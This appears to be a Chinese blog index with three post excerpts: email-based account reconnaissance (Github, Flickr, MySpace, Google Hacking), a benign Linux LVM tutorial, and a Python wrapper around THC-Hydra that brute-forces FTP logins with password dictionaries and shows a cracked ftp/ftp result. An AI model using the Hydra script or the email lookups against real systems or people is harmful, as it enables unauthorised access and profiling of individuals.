G+是一个SNS社交网站，可以通过你的Google帐户登录，在这个社交网站上你可以和不同兴趣的好友分享好玩的东西。很多程序员都有Google账户，所以你懂得~

Google+

获取Github

[Github]Search by Email

Github

通过Google Hacking返回该Email的url

[SE Google]Email to URLs
相同类型的还有

URLs
Google Hacking

相当于在Google搜索引擎中执行了如下操作

Google

通过Email获取Flickr信息

雅虎旗下图片分享网站。为一家提供免费及付费数位照片储存、分享方案之线上服务，也提供网络社群服务的平台
https://www.flickr.com/
emailToFlickrAccount

emailToFlickrAccount

相同的还有
emailToMyspaceAccount
MySpace 为全球用户提供了一个集交友、个人信息分享、即时通讯等多种功能于一体的互动平台
https://myspace.com/

展开全文 >>

LVM相关介绍

LVM概念

Logical Volume Manager 逻辑卷管理

1
2
通过将底层物理硬盘抽象封装起来，以逻辑卷的形式表现给上层系统，逻辑卷的大小可以动态调整，而且不会丢失现有数据。新加入的硬盘也不会改变现有上层的逻辑卷。
作为一种多台磁盘管理机制，逻辑卷技术大大提高了磁盘管理的灵活性。

LVM的4个基本概念

1
2
3
4
5
6
7
① PE　　(Physical Extend)　　物理拓展
② PV　　(Physical Volume)　　物理卷
③ VG　　(Volume Group)　　卷组
④ LV　　(Logical Volume)　　逻辑卷

PE逻辑卷空间管理的最基本单位。1个PE默认是4M大小
VG的作用是用来装PV的–空间池

创建LVM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  ~ fdisk -l
Disk /dev/sda: 300 GiB, 322122547200 bytes, 629145600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xc1fc20ae
Device     Boot     Start       End   Sectors  Size Id Type
/dev/sda1  *         2048 612370431 612368384  292G 83 Linux
/dev/sda2       612372478 629143551  16771074    8G  5 Extended
/dev/sda5       612372480 629143551  16771072    8G 82 Linux swap / Solaris
Disk /dev/sdb: 50 GiB, 53687091200 bytes, 104857600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
  1. 将物理磁盘设备初始化为物理卷
    1
    2
    ➜  ~ pvcreate /dev/sdb
      Physical volume "/dev/sdb" successfully created

查看物理卷信息

1
2
3
➜  ~ pvs
  PV         VG   Fmt  Attr PSize  PFree
  /dev/sdb        lvm2 ---  50.00g 50.00g

  1. 创建卷组，并将PV加入卷组中
    1
    2
    3
    >名字为lvmtest， 可任意
    ➜  ~ vgcreate lvmtest /dev/sdb
      Volume group "lvmtest" successfully created
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
➜  ~ vgs
  VG      #PV #LV #SN Attr   VSize  VFree
  lvmtest   1   0   0 wz--n- 50.00g 50.00g
>查看卷组信息
➜  ~ vgdisplay
  --- Volume group ---
  VG Name               lvmtest
  System ID             
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  1
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                0
  Open LV               0
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               50.00 GiB
  PE Size               4.00 MiB
  Total PE              12799
  Alloc PE / Size       0 / 0   
  Free  PE / Size       12799 / 50.00 GiB
  VG UUID               cxMG1m-pMAE-Suk5-bM69-1sB3-W7YB-WXmmGh
  1. 基于卷组创建逻辑卷

    这里我从lvmtest拿了20G空间来创建了一个名为lv1的逻辑卷

    1
    2
    ➜  ~ lvcreate -n lv1 -L 20G lvmtest
      Logical volume "lv1" created

查看逻辑卷信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜  ~ lvs
  LV   VG      Attr       LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert
  lv1  lvmtest -wi-a----- 20.00g                                                    
➜  ~ lvdisplay
  --- Logical volume ---
  LV Path                /dev/lvmtest/lv1
  LV Name                lv1
  VG Name                lvmtest
  LV UUID                Q4UIbv-yWhL-Bl5A-ywTN-1HJo-TE5r-TKBPfQ
  LV Write Access        read/write
  LV Creation host, time kali, 2016-08-03 08:44:31 +0800
  LV Status              available
  # open                 0
  LV Size                20.00 GiB
  Current LE             5120
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     256
  Block device           254:0

  1. 为创建好的逻辑卷创建文件系统

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ➜  ~ mkfs.ext4 /dev/lvmtest/lv1
    mke2fs 1.42.12 (29-Aug-2014)
    Creating filesystem with 5242880 4k blocks and 1310720 inodes
    Filesystem UUID: 5130e6e1-8293-4fcb-b580-5091f3840f99
    Superblock backups stored on blocks:
    	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
    	4096000
    Allocating group tables: done                            
    Writing inode tables: done                            
    Creating journal (32768 blocks): done
    Writing superblocks and filesystem accounting information: done

  2. 将格式化好的逻辑卷挂载使用

    1
    ➜  ~ mount /dev/lvmtest/lv1 /mnt/

查看

1
2
➜  /mnt mount | tail -n 1
/dev/mapper/lvmtest-lv1 on /mnt type ext4 (rw,relatime,data=ordered)

删除LVM

先把相应的东西umount掉

1
➜  ~ umount /mnt

1
2
➜  ~ mount | tail -n 1
/dev/sr0 on /media/cdrom0 type iso9660 (ro,nosuid,nodev,noexec,relatime,user)

  1. 删除LV

    1
    2
    3
    ➜  ~ lvremove /dev/lvmtest/lv1
    Do you really want to remove active logical volume lv1? [y/n]: y
      Logical volume "lv1" successfully removed

  2. 删除VG

    1
    2
    ➜  ~ vgremove lvmtest
      Volume group "lvmtest" successfully removed

  3. 删除物理卷

    1
    2
    ➜  ~ pvremove /dev/sdb
      Labels on physical volume "/dev/sdb" successfully wiped

扩充逻辑卷容量

逻辑卷的拉伸操作可以在线执行，不需要卸载逻辑卷

  1. 保证VG中有足够的空闲空间
1
2
3
➜  ~ vgs
  VG   #PV #LV #SN Attr   VSize  VFree
  vg     1   1   0 wz--n- 50.00g 30.00g

  1. 扩充逻辑卷

    1
    2
    3
    ➜  ~ lvextend  -L +1G /dev/vg/lv
      Size of logical volume vg/lv changed from 20.00 GiB (5120 extents) to 21.00 GiB (5376 extents).
      Logical volume lv successfully resized

  2. 查看扩充后LV大小

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ➜  ~ lvdisplay
      --- Logical volume ---
      LV Path                /dev/vg/lv
      LV Name                lv
      VG Name                vg
      LV UUID                5q9mCJ-7Y3f-dEo7-xlDz-lJAW-Oczm-RuCeIE
      LV Write Access        read/write
      LV Creation host, time kali, 2016-08-03 09:51:18 +0800
      LV Status              available
      # open                 0
      LV Size                21.00 GiB
      Current LE             5376
      Segments               1
      Allocation             inherit
      Read ahead sectors     auto
      - currently set to     256
      Block device           254:0

  3. 更新文件系统

    1
    2
    3
    4
    5
    ➜  ~ resize2fs /dev/vg/lv
    resize2fs 1.42.12 (29-Aug-2014)
    Filesystem at /dev/vg/lv is mounted on /mnt; on-line resizing required
    old_desc_blocks = 2, new_desc_blocks = 2
    The filesystem on /dev/vg/lv is now 5505024 (4k) blocks long.

  4. 查看更新后文件系统

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ➜  ~ df -h
    Filesystem         Size  Used Avail Use% Mounted on
    udev                10M     0   10M   0% /dev
    tmpfs              792M  9.1M  783M   2% /run
    /dev/sda1          288G   16G  257G   6% /
    tmpfs              2.0G  208K  2.0G   1% /dev/shm
    tmpfs              5.0M     0  5.0M   0% /run/lock
    tmpfs              2.0G     0  2.0G   0% /sys/fs/cgroup
    tmpfs              396M  8.0K  396M   1% /run/user/132
    tmpfs              396M   12K  396M   1% /run/user/0
    /dev/sr0           3.1G  3.1G     0 100% /media/cdrom0
    /dev/mapper/vg-lv   21G   44M   20G   1% /mnt

扩充卷组容量

  1. 将要添加到VG的硬盘格式化为PV

    1
    2
    ➜  ~ pvcreate /dev/sdc
      Physical volume "/dev/sdc" successfully created

  2. 将新的PV添加到指定卷组中

    1
    2
    ➜  ~ vgextend vg /dev/sdc
      Volume group "vg" successfully extended

  3. 查看扩充后VG大小

    1
    2
    3
    ➜  ~ vgs
      VG   #PV #LV #SN Attr   VSize  VFree
      vg     2   1   0 wz--n- 69.99g 48.99g

缩小逻辑卷容量

逻辑卷的缩小操作必须离线执行，要卸载逻辑卷

  1. 卸载一键挂载的逻辑卷

    1
    ➜  ~ umount /dev/mapper/vg-lv

  2. 缩小文件系统

    缩小为10G

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    ➜  ~ resize2fs /dev/vg/lv 10G
    resize2fs 1.42.12 (29-Aug-2014)
    Please run 'e2fsck -f /dev/vg/lv' first.
    ➜  ~ resize2fs /dev/mapper/vg-lv 10G
    resize2fs 1.42.12 (29-Aug-2014)
    Please run 'e2fsck -f /dev/mapper/vg-lv' first.
    ➜  ~ e2fsck -f /dev/mapper/vg-lv
    e2fsck 1.42.12 (29-Aug-2014)
    Pass 1: Checking inodes, blocks, and sizes
    Pass 2: Checking directory structure
    Pass 3: Checking directory connectivity
    Pass 4: Checking reference counts
    Pass 5: Checking group summary information
    /dev/mapper/vg-lv: 11/1376256 files (0.0% non-contiguous), 130401/5505024 blocks
    ➜  ~ resize2fs /dev/mapper/vg-lv 10G
    resize2fs 1.42.12 (29-Aug-2014)
    Resizing the filesystem on /dev/mapper/vg-lv to 2621440 (4k) blocks.
    The filesystem on /dev/mapper/vg-lv is now 2621440 (4k) blocks long.

  3. 缩小LV

    缩小的容量为之前的容量减去文件系统容量
    21-10=11

    1
    2
    3
    4
    5
    6
    ➜  ~ lvreduce -L -11G /dev/vg/lv
      WARNING: Reducing active logical volume to 10.00 GiB
      THIS MAY DESTROY YOUR DATA (filesystem etc.)
    Do you really want to reduce lv? [y/n]: y
      Size of logical volume vg/lv changed from 21.00 GiB (5376 extents) to 10.00 GiB (2560 extents).
      Logical volume lv successfully resized

  4. 查看缩小后的LV

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ➜  ~ lvdisplay
      --- Logical volume ---
      LV Path                /dev/vg/lv
      LV Name                lv
      VG Name                vg
      LV UUID                5q9mCJ-7Y3f-dEo7-xlDz-lJAW-Oczm-RuCeIE
      LV Write Access        read/write
      LV Creation host, time kali, 2016-08-03 09:51:18 +0800
      LV Status              available
      # open                 0
      LV Size                10.00 GiB
      Current LE             2560
      Segments               1
      Allocation             inherit
      Read ahead sectors     auto
      - currently set to     256
      Block device           254:0

  5. 挂载

    1
    2
    3
    ➜  ~ mount /dev/vg/lv /mnt
    ➜  ~ mount | tail -n 1
    /dev/mapper/vg-lv on /mnt type ext4 (rw,relatime,data=ordered)

缩小卷组

  1. 将一个PV从制定卷组中移除

    1
    2
    ➜  ~ vgreduce vg /dev/sdc
      Removed "/dev/sdc" from volume group "vg"

  2. 查看缩小后的卷组大小

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    ~ vgdisplay
    --- Volume group ---
    VG Name               vg
    System ID             
    Format                lvm2
    Metadata Areas        1
    Metadata Sequence No  8
    VG Access             read/write
    VG Status             resizable
    MAX LV                0
    Cur LV                1
    Open LV               1
    Max PV                0
    Cur PV                1
    Act PV                1
    VG Size               50.00 GiB
    PE Size               4.00 MiB
    Total PE              12799
    Alloc PE / Size       2560 / 10.00 GiB
    Free  PE / Size       10239 / 40.00 GiB
    VG UUID               E32ZJW-3NqL-jpr2-1KYN-QWDh-dZhJ-1ZxZ2i

  3. 移除物理卷

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    ➜  ~ pvs
      PV         VG   Fmt  Attr PSize  PFree
      /dev/sdb   vg   lvm2 a--  50.00g 40.00g
      /dev/sdc        lvm2 ---  20.00g 20.00g
    ➜  ~ pvremove /dev/sdc
      Labels on physical volume "/dev/sdc" successfully wiped
    ➜  ~ pvs
      PV         VG   Fmt  Attr PSize  PFree
      /dev/sdb   vg   lvm2 a--  50.00g 40.00g
    ➜  ~

展开全文 >>

hydra 折腾笔记

命令

1
output =subprocess.Popen("hydra -l ftp -P wooyun.txt 192.168.1.20 ftp", shell=True,stdout=subprocess.PIPE).communicate()[0]
1
2
3
In [62]: 'successfully' in output
Out[62]: True

相关文档

http://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html

备选方案

全能暴力破解测试工具——Patator v0.5
https://github.com/lanjelot/patator

python 捕获 shell 脚本的输出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import subprocess
output =Popen(["mycmd","myarg"], stdout=PIPE).communicate()[0]
import subprocess
p = subprocess.Popen(['ls','-a'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
print out
# work on Unix/Linux only
import commands
print commands.getstatusoutput('wc -l file')[1]

[Demo] Py-hydra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# -*- coding: utf-8 -*-
'''
通过Python操作Hydra进行相关服务弱口令扫描
相关结果以json的形式返回
'''
__author__ = "SanNa"
import subprocess
import sys
import json
import signal
# 设置超时时间
TIME_OUT = 20
def start_hydra(ip, service, username, password):
    '''调用hydra进行破解
    :param ip: 目标ip
    :param service: 服务类型
    :param username: 用户字典
    :param password: 密码字典
    :return str
    '''
    kwargs = {
            'ip': ip,
            'service': service,
            'username': username,
            'password': password,
            }
    command_str = "hydra -L {username} -P {password} {ip} {service}"
    result = subprocess.Popen(command_str.format(**kwargs),
                    shell=True, stdout=subprocess.PIPE).communicate()[0]
    return result
def return_json(result):
    '''从扫描结果中提出相关信息
    :param result: 扫描结果
    :return json
    '''
    ok_flag = 'target successfully completed'
    fail_flag = '0 valid passwords found'
    data = {
            'login': None,
            'password': None,
            }
    if ok_flag in result:
        data['status']  =  'success'
        item = result.split('\n')[5]
        data['login'] = item.split(' ')[6]
        data['password'] = item.split(' ')[10]
    elif fail_flag in result:
        data['status'] = 'fail'
    else:
        data['status'] = 'unknown error.'
    return json.dumps([data])
def handler(signum, frame):
    raise AssertionError
if __name__ == '__main__':
    ip = sys.argv[1]
    service = sys.argv[2]
    username = 'username.txt'
    password = 'password.txt'
    # try:
    #     username = sys.argv[3]
    # except:
    #     username = 'ftp'
    # try:
    #     password = sys.argv[4]
    # except:
    #     password = 'ftp'
    print '[*] Place wait...'
    try:
        # 超时设置
        signal.signal(signal.SIGALRM, handler)
        signal.alarm(TIME_OUT)
        result = start_hydra(ip, service, username, password)
        print result
        data = return_json(result)
    except AssertionError:
        print "TIMEOUT!"

执行结果

1
2
3
4
5
6
7
8
9
10
11
12
➜  hydar  python test.py 192.168.1.55 ftp
[*] Place wait...
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-02 12:41:32
[DATA] max 16 tasks per 1 server, overall 64 tasks, 22425 login tries (l:69/p:325), ~21 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.1.55   login: ftp   password: ftp
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-06-02 12:41:37
[{"status": "success", "login": "ftp", "password": "ftp"}]

备选方案

全能暴力破解测试工具——Patator v0.5
https://github.com/lanjelot/patator

展开全文 >>

tag:

    缺失模块。
    1、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    2、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: true
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

这个人很懒,什么都没留下